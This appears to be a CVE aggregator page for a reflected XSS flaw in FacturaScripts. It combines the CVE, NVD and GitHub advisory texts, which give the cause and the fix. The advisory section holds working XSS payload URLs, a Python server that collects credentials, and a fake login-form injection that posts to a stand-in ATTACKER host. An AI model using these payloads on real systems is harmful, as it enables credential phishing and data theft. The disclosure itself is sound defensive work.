5.4medium
FacturaScripts Affected by Reflected XSS
- Severity
- 5.4medium CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.29% (higher than 23% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-g6w2-q45f-xrp4
Description
FacturaScripts is open-source enterprise resource planning and accounting software. Prior to 2025.8, there a reflected XSS bug in FacturaScripts. The problem is in how error messages get displayed. Twig's | raw filter is used, which skips HTML escaping. When triggering a database error (like passing a string where an integer is expected), the error message includes the input and gets rendered without sanitization. This vulnerability is fixed in 2025.8.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| NeoRazorX facturascripts | < 2025.8 | CVE List |
| facturascripts/facturascripts (Packagist) | before 2025.81 | GitHub Advisory Database |
| facturascripts facturascripts | before 2025.8 | NVD |
All scores
| GitHub_M | 5.4medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N |
| GitHub | 5.4medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N |
Classification
SSVC (CISA-ADP): exploitation none, automatable no, technical impact partial.
What each source says
CVE List
FacturaScripts is open-source enterprise resource planning and accounting software. Prior to 2025.8, there a reflected XSS bug in FacturaScripts. The problem is in how error messages get displayed. Twig's | raw filter is used, which skips HTML escaping. When triggering a database error (like passing a string where an integer is expected), the error message includes the input and gets rendered without sanitization. This vulnerability is fixed in 2025.8.
GitHub Advisory Database
Reflected XSS via SQL Error Messages
Summary
A reflected XSS bug has been found in FacturaScripts. The problem is in how error messages get displayed - it's using Twig's | raw filter which skips HTML escaping. When a database error is triggered (like passing a string where an integer is expected), the error message includes all input and gets rendered without sanitization.
Attackers can use this to phish credentials from other users since HttpOnly is set on cookies (so stealing cookies directly won't work, but attackers can inject a fake login form).
CVSS 6.1 (Medium-High)
What was Found
Where the bug exists in the code:
Core/View/Macro/Utils.html.twig, line 27:
{% for item in messages %}
<div>{{ item.message | raw }}</div>
{% endfor %}
That | raw is the problem. It tells Twig not to escape anything.
How it works
So here's what happens:
- Hhit
/EditProducto?code=<svg onload=alert(1)> or <img src=x onerror=alert(1)> - The app tries to look up a product with that "code"
- PostgreSQL throws an error because
<svg onload=alert(1)>isn't a valid integer - The error goes something like: ```
ERROR: invalid input syntax for type integer: "<svg onload=alert(1)>"
LINE 1: SELECT * FROM "productos" WHERE "idproducto" = '<img src=x onerror=alert(1)>"
- This gets logged via MiniLog and displayed to the user
- Because of
| raw, the browser actually executes the JS
The error logging happens in Core/Base/DataBase.php around line 236:
self::$miniLog->error(self::$engine->errorMessage(self::$link), ['sql' => $sql]);
And PostgreSQL's error message includes whatever garbage it was sent.
Reproduction Steps
Requirements
- Working FacturaScripts install
- Any user account (doesn't need to be admin)
- The victim needs to be logged in
Quick test
Just visit this URL while logged in:
http://localhost/EditProducto?code=<svg onload=alert(document.domain)>
An alert box should pop up.
For a real attack (credential phishing)
Set up a simple server to catch credentials:
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
q = parse_qs(urlparse(self.path).query)
print(f"\nGot creds:")
print(f" User: {q.get('user', ['?'])[0]}")
print(f" Pass: {q.get('pass', ['?'])[0]}")
self.send_response(200)
self.end_headers()
def log_message(self, *args): pass
HTTPServer(('', 8888), Handler).serve_forever()
Then craft a URL that injects a fake login form:
http://TARGET/EditProducto?code=<svg onload="document.body.innerHTML='<div style=text-align:center;padding:100px><h2>Session Expired</h2><form action=http://ATTACKER:8888/steal><input name=user placeholder=Username><br><input name=pass type=password placeholder=Password><br><button>Login</button></form></div>'">
Send that to someone (email, chat, whatever). When they click it and enter their password thinking their session expired, their creds are displayed.
Other endpoints that work
Pretty much anything that uses the code parameter:
/EditProducto?code=/EditCliente?code=/EditFacturaCliente?code=/EditProveedor?code=- etc.
Basically all the Edit controllers.
Impact
What attackers can do with this
Steal credentials - Can't grab cookies directly (HttpOnly), but the phishing form trick works great. Victim thinks their session timed out and re-enters their password.
Read page data - Once JS is running, attackers can scrape whatever's on the page (invoices, customer info, financial data) and send it somewhere.
Keylog - Inject a keylogger that captures everything they type.
Bypass CSRF - Grab the multireqtoken from the page and make requests as the victim.
What attackers CAN'T do
Can't steal session cookies via document.cookie - they're HttpOnly.
Business side
This is a financial app, so if attackers compromise an admin account, the following is possible to create or expose:
- Fake invoices
- Redirected payments
- Customer data breach (GDPR stuff)
- The usual mess
Fix
Quick fix
Just remove | raw from line 27 in Core/View/Macro/Utils.html.twig:
- <div>{{ item.message | raw }}</div>
+ <div>{{ item.message }}</div>
That's it. Twig escapes by default, so removing | raw fixes the XSS.
If projects want to be thorough
- Sanitize messages before they go into the log:
$message = htmlspecialchars($message, ENT_QUOTES, 'UTF-8');
-
Add CSP headers to block inline scripts as a backup
-
Maybe validate the
codeparameter format before it hits the database
Resources
- https://cwe.mitre.org/data/definitions/79.html
- https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
Found: Dec 31, 2025
Tested on: FacturaScripts 2025.61 (Docker), verified vulnerable in 2025.71 (GitHub latest)
1
3
phising
phising2
sql erroe
version
NVD (es)
FacturaScripts es un software de planificación de recursos empresariales y contabilidad de código abierto. Antes de la versión 2025.8, existía un fallo de XSS reflejado en FacturaScripts. El problema radica en cómo se muestran los mensajes de error. Se utiliza el filtro |raw de Twig, lo que omite el escape de HTML. Al activar un error de base de datos (como pasar una cadena donde se espera un número entero), el mensaje de error incluye la entrada y se renderiza sin sanitización. Esta vulnerabilidad se ha corregido en la versión 2025.8.
References
| https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-g6w2-q45f-xrp4 | exploit, mitigation, vendor-advisory, web | |
| https://github.com/NeoRazorX/facturascripts/commit/2afd98cecd26c5f8357e0e321d86063ad1012fc3 | patch, web | |
| https://github.com/NeoRazorX/facturascripts/releases/tag/v2025.8 | release-notes, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2026-23476 | advisory | |
| https://github.com/NeoRazorX/facturascripts | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-23476 changed 2026-02-03 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-g6w2-q45f-xrp4 changed 2026-02-03 | CC-BY-4.0 |
| NVD | CVE-2026-23476 changed 2026-06-17 | Public domain |